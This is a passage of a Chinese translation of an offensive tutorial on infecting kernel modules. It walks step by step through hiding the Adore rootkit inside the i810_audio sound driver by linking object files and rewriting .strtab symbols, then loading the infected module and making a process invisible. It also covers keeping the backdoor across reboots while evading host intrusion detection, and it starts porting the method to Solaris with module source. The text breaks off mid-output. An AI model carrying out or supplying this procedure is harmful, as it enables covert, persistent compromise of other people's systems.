[ ] Symbol inje_module located at 0x4e8
[ ] .strtab entry overwriten with init_module # insmod original.o
# tail -n 2 /var/log/kernel
May 17 14:57:31 accelerator kernel: Into init_module()
May 17 14:57:31 accelerator kernel: Injected
好极了,我们插入的代码在正常代码运行之后也得到了执行,这下够隐蔽的了。
--[ 4 - 实例 下面修改 init_module() 的方法对 cleanup_module() 函数也同样适用。这样,我们就
可以把一个完整的模块插入另一个模块中去了。我曾经通过简单的处理把著名的 Adore[2]
rootkit 插入到我的声卡驱程(i810_audio.o)里。 ----[ 4.1 - 最简单的 LKM 感染 1) 我们必须对adore.c稍稍做点修改 * 在 init_module() 函数里加入对 dumm_module() 的调用
* 在 cleanup_module() 模块函数里加入对 dummcle_module() 的调用
* 把 init_module 函数名改成 evil_module
* 把 cleanup_module 函数名改成 evclean_module
(译者注:注意始终保持函数名长度和原名称的一致性)
2) 用 make 命令编译 Adore
3) 把 adore.o 和 i810_audio.o 链接 ld -r i810_audio.o adore.o -o evil.o 如果将要被插入的模块已经加载了,必须先卸载它: rmmod i810_audio mv evil.o i810_audio.o
4) 修改 .strtab section 替换
init_module ------> dumm_module
evil_module ------> init_module (将会调用 dumm_module) cleanup_module ------> evclean_module
evclean_module ------> cleanup_module (将会调用 evclean_module) $ ./elfstrchange i810_audio.o init_module dumm_module
[ ] Symbol init_module located at 0xa2db
[ ] .strtab entry overwriten with dumm_module $ ./elfstrchange i810_audio.o evil_module init_module
[ ] Symbol evil_module located at 0xa4d1
[ ] .strtab entry overwriten with init_module $ ./elfstrchange i810_audio.o cleanup_module dummcle_module
[ ] Symbol cleanup_module located at 0xa169
[ ] .strtab entry overwriten with dummcle_module $ ./elfstrchange i810_audio.o evclean_module cleanup_module
[ ] Symbol evclean_module located at 0xa421
[ ] .strtab entry overwriten with cleanup_module
5) 加载并且测试模块 # insmod i810_audio
# ./ava
Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)] h hide file
u unhide file
r execute as root
R remove PID forever
U uninstall adore
i make PID invisible
v make PID visible # ps
PID TTY TIME CMD
2004 pts/3 00:00:00 bash
2083 pts/3 00:00:00 ps # ./ava i 2004
Checking for adore 0.12 or higher ...
Adore 0.53 installed. Good luck.
Made PID 2004 invisible. root@accelerator:/home/truff/adore# ps
PID TTY TIME CMD
# 完美吧 :) 为了方便懒人干活,我写了一个简单的shell脚本(章节 9.2)做这些工作。
----[ 4.2 - 我还会回来的 (重启之后) 当模块加载时,为了以后进一步的需要,我们有两种选择: * 用感染后的模块替换 /lib/modules/ 里真正的模块。
这可以保证重启后我们的后门能够被重新加载。但是,这也会被像 Tripwire[7] 这样
的HIDS(Host Intrusion Detection System 文件入侵监测系统)发现。不过不要太担
心,内核模块既不是可执行文件也不是一个suid文件,如果管理员配置的HIDS规则
不是太变态,还是查不到我们头上的。 * 不去动那些放在 /lib/modules 下真正的内核模块,同时删除被感染的模块。这样,即
使HIDS监测文件的修改情况,它们也只能无功而返。
--[ 5 - 关于其他的操作系统 ----[ 5.1 - Solaris 我通过[8]里的一个基本内核模块来讲解这个例子。Solaris 内核模块使用了三个基本函数: - _init 模块初始化的时候调用
- _fini 模块卸载时调用
- _info 当用户使用modinfo命令时,负责输出模块信息 $ uname -srp
SunOS 5.7 sparc $ cat mod.c
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/modctl.h> extern struct mod_ops mod_miscops; static struct modlmisc modlmisc = {
&mod_miscops,
"Real Loadable Kernel Module",
}; static struct modlinkage modlinkage = {
MODREV_1,
(void *)&modlmisc,
NULL
}; int _init(void)
{
int i;
if ((i = mod_install(&modlinkage)) != 0)
cmn_err(CE_NOTE,"Could not install modulen");
else
cmn_err(CE_NOTE,"mod: successfully installed");
return i;
} int _info(struct modinfo *modinfop)
{
return (mod_info(&modlinkage, modinfop));
} int _fini(void)
{
int i;
if ((i = mod_remove(&modlinkage)) != 0)
cmn_err(CE_NOTE,"Could not remove modulen");
else
cmn_err(CE_NOTE,"mod: successfully removed");
return i;
}
$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c mod.c
$ ld -r -o mod mod.o
$ file mod
mod: ELF 64-bit MSB relocatable SPARCV9 Version 1
正如我们在linux例子里看到的,我们要插入的代码里必须包含对真正 init 函数的调
用,这样模块才能和原来一样正常工作。不过,我们要面对一个问题:如果我们在模块
链接之后再修改 .strtab section ,动态加载程序无法找到 _dumm() 函数,模块自然
也无法被正常加载。在这个问题上我没有太深入的研究,但是我觉得Solaris的动态加载
程序不会在模块里查找那些没有被定义的符号。所以问题解决了:我们只要在链接之前把
.strtab入口的 _init 重命名为 _dumm 就可以了。
$ readelf -S mod
有10个section 的header(section headers),它们的偏移地址从 0x940 开始。 Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
文章整理:西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!




